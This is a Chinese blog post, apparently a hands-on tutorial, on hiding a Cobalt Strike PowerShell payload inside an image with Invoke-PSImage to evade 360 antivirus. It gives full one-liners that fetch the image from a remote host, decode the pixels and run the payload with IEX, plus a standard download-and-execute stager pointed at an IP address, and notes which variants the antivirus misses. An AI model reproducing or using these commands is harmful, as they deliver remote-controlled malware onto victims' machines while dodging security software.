文章目录

  • 利用工具
  • 模拟上线
  • 总结
  • 参考文章

利用工具

  1. Invoke-PSImage
  2. 任意一张图片

模拟上线

1.使用cs生成一个powershell的payload。

2.执行工具脚本并保存生成的上线命令:

工具脚本命令:

powershell -exec bypass "Import-Module ./Invoke-PSimage.ps1;Invoke-PSImage -Script .\payload.ps1 -Image .\image.jpg -Out .\image.png -Web"

生成的上线命令如下:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/image.png"));$o=a Byte[] 3600;(0..5)|%{foreach($x in(0..599)){$p=$g.GetPixel($x,$_);$o[$_*600+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

3.将生成的恶意图片上传到服务器上:

4.更改上线命令中的url地址为图片地址并在受害者机器上执行上线命令:
更改方框处

更改后的命令:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://172.16.250.3/image.png"));$o=a Byte[] 3600;(0..5)|%{foreach($x in(0..599)){$p=$g.GetPixel($x,$_);$o[$_*600+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

5.上线完成


360未爆毒

总结

如果我们先用命令进入powershell然后执行上线命令,确实可以绕过杀软,如果我们直接在cmd页面执行:

powershell  sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://172.16.250.3/image.png"));$o=a Byte[] 3600;(0..5)|%{foreach($x in(0..599)){$p=$g.GetPixel($x,$_);$o[$_*600+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

杀软会爆毒。


一般情况下cs的上线代码为:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.95.57.87:82/a'))"

直接执行下面代码也可以上线,而且杀软也不会爆毒:

IEX ((new-object net.webclient).downloadstring('http://10.95.57.87:82/a'))

参考文章

Shellcode隐写到预期RGB免杀上线到CobaltStrike

使用powershell免杀上线CS的新方式---利用图片相关推荐

  1. (记录向)Python反序列化免杀上线CS(并使用Shielden加密绕过360)

    1.首先cs生成一个64位的Python Payload 2.截取其中的Payload,并进行base64编码. 3.把这一串子base64放到VPS上.并开启web服务. python3 -m ht ...

  2. Powershell 过火绒免杀上线

    payload生成 原生payload生成后被无情秒杀 powershell免杀制作 打开powershell命令行,将payload编码 1.新建一个变量h,用来接收之后编码的payload $h= ...

  3. Powershell 免杀过 defender 火绒,附自动化工具

    技术交流 关注微信公众号 Z20安全团队 , 回复 加群 ,拉你入群 一起讨论技术. 直接公众号文章复制过来的,排版可能有点乱, 可以去公众号看. powershell执行策略修改 1 获取 Powe ...

  4. powershell免杀可替换的关键字

    powershell免杀可替换的关键字 关键字可替换 IEX $DoIt -- i`ex $DoIt IEX $a -- ie`x $a $var_runme -- $vrunme $var_buff ...

  5. shellcode免杀;CS上线;获取微信聊天记录

    获取被控端微信聊天记录参考: https://mp.weixin.qq.com/s/4DbXOS5jDjJzM2PN0Mp2JA 微信取证工具(随时更新,随时关注): https://github.c ...

  6. Powershell免杀系列(二)

    技术交流 关注微信公众号 Z20安全团队 , 回复 加群 ,拉你入群 一起讨论技术. 直接公众号文章复制过来的,排版可能有点乱, 可以去公众号看. 正文 powershell的免杀⽅法有很多,对代码进 ...

  7. 记一次PowerShell免杀实战

    最近在玩免杀,发现了一些免杀思路,今天来给大家做个分享,希望可以帮到大家. 0x01 powershell 加载 shellcode 介绍 UNIX 系统一直有着功能强大的壳程序(shell),Win ...

  8. 新版掩日免杀——搭配CS使用测试

    阅读前请注意: 本人发布的此篇技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站,服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵 ...

  9. 2017php免杀大马,cs 免杀 payload 绕过 360 全家桶

    文章来源于叮咚实验室 作者:吃个橘子 实验环境: Win10 物理机(cs 服务端)Win7 虚拟机(360 安全卫士+360 杀毒全家桶 最新版) 准备材料:vs2017 ,cs 我们先用CS生成普 ...

最新文章

  1. 在Heroku上扩展ipify服务
  2. 美国邮政署将展开测试自驾卡车运输服务
  3. centos7下NFS服务器的搭建与配置
  4. css工程化和浏览器兼容性问题
  5. 最好用的枚举多选方法
  6. 如何配置 SAP BTP Integration Suite 测试帐号的环境
  7. 写程序和做网店的压力都很大
  8. LeetCode 2062. 统计字符串中的元音子字符串
  9. 设计模式一の设计模式详解
  10. centos下添加windows启动项
  11. python Web开发你要理解的WSGI uwsgi详解
  12. 程序员的自我修养—链接、装载与库pdf
  13. wp10 手机 部署linux,【图片】02-15【吐槽】【转】win10手机端直接安装xap教程!【windowsphone吧】_百度贴吧...
  14. 华为手机所有图标变黑_华为手机app图标变成黑色
  15. 2021年度图学会第十七期全国BIM等级考试一级真题
  16. 怎样用计算机10,win10计算器怎么用_win10如何打开计算器
  17. oracle阿拉伯数字转换成汉字,一个阿拉伯数字转中文数字的函数
  18. oracle同义词性能,ORACLE同义词总结 - welcome to open life - OSCHINA - 中文开源技术交流社区...
  19. 数组除重和应用随机数进行随机点名
  20. java蓝宇快递打印系统_蓝宇快递打印系统

热门文章

  1. 计算机毕业设计 SSM药品管理系统(源码+论文)
  2. java毕业设计Steam游戏平台系统(附源码、数据库)
  3. 项目管理做的好,这套免费模版少不了
  4. java如何根据pid转tid_C语言编程中pid, tid以及真实pid的关系(转)
  5. 如何设计文化衫中考计算机试题,【附五套中考模拟卷】2019年宁波市中考数学模拟试卷.doc...
  6. 华为员工轻松入会的秘诀是?
  7. mysql的安装版本有无开发版_moodle 2.0.2 安装图文教程 2——PHP Mysql环境搭建和moodle安装 - 乔木的日志 - ICT教育 - 中小学信息技术教育和教育信息化网站...
  8. Android组件化之终极方案
  9. Failed to instantiate the default view controller for UIMainStoryboardFile 'Main' - perhaps the desi
  10. Unity3d C#开发微信小程序WebGL转换后中文字体不显示问题解决